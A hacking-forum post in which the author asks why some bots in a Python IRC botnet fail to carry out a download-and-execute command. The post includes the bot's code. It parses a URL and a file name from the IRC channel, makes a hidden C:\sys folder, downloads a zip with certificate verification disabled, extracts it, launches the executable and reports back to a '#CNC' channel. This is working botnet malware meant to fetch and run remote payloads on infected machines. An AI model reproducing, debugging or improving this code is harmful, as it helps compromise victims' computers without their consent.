Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

python irc botnet code help

i make botnet over irc whit python but when i make download and excute some bots get the command and some not 

why is that 

i use urlibe and re


the code look like this


data = client.recv(4096)

# 4096 bytes did i need to chanage it ? 
 
Https = re.findall("https://[0-9A-Za-z]*.*", data)
Https = "".join(Https)
Http = re.findall("http://[0-9A-Za-z]*.*", data)
Http = "".join(Http)


File_Name = re.findall("Name: [0-9A-Za-z]*", data)
File_Name = "".join(File_Name)




try:
   context = ssl._create_unverified_context()

   File_Name = File_Name.split()
   os.popen("mkdir c:\sys")
   os.popen("attrib +h c:\sys")
   try:
       urllib.urlretrieve(Http, "C:\sys\\" + File_Name[1] + ".zip", context=context)
   except:
       pass
   try:
       urllib.urlretrieve(Https, "C:\sys\\" + File_Name[1] + ".zip", context=context)
   except:
       pass
   zip_ref = zipfile.ZipFile("C:\sys\\" + File_Name[1] + ".zip", 'r')
   zip_ref.extractall("C:\sys\\")
   zip_ref.close()
   print "yes"
   os.startfile("C:\Sys\\"+File_Name[1] + ".exe")
   time.sleep(25)
   msg = "The Files Download. And Runing"
   client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")

except:
   time.sleep(25)
   msg = "Something is Wrong Bro try again"
   client.send("PRIVMSG #CNC {}".format(msg) + "\r\n")


mybey is the webhosting http he get to much request to downlaod on the same time ?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by Bass_ReevesAug 20, 2023 01:44 AM 9 630 Aug 20, 2023 01:44 AM
Last Post: Lucky4L
[Python] by mikehackMay 9, 2022 11:12 AM 2 145 May 9, 2022 11:12 AM
Last Post: mikehack
[C] by FhackMar 19, 2022 04:11 PM 27 966 Mar 19, 2022 04:11 PM
Last Post: focuswow35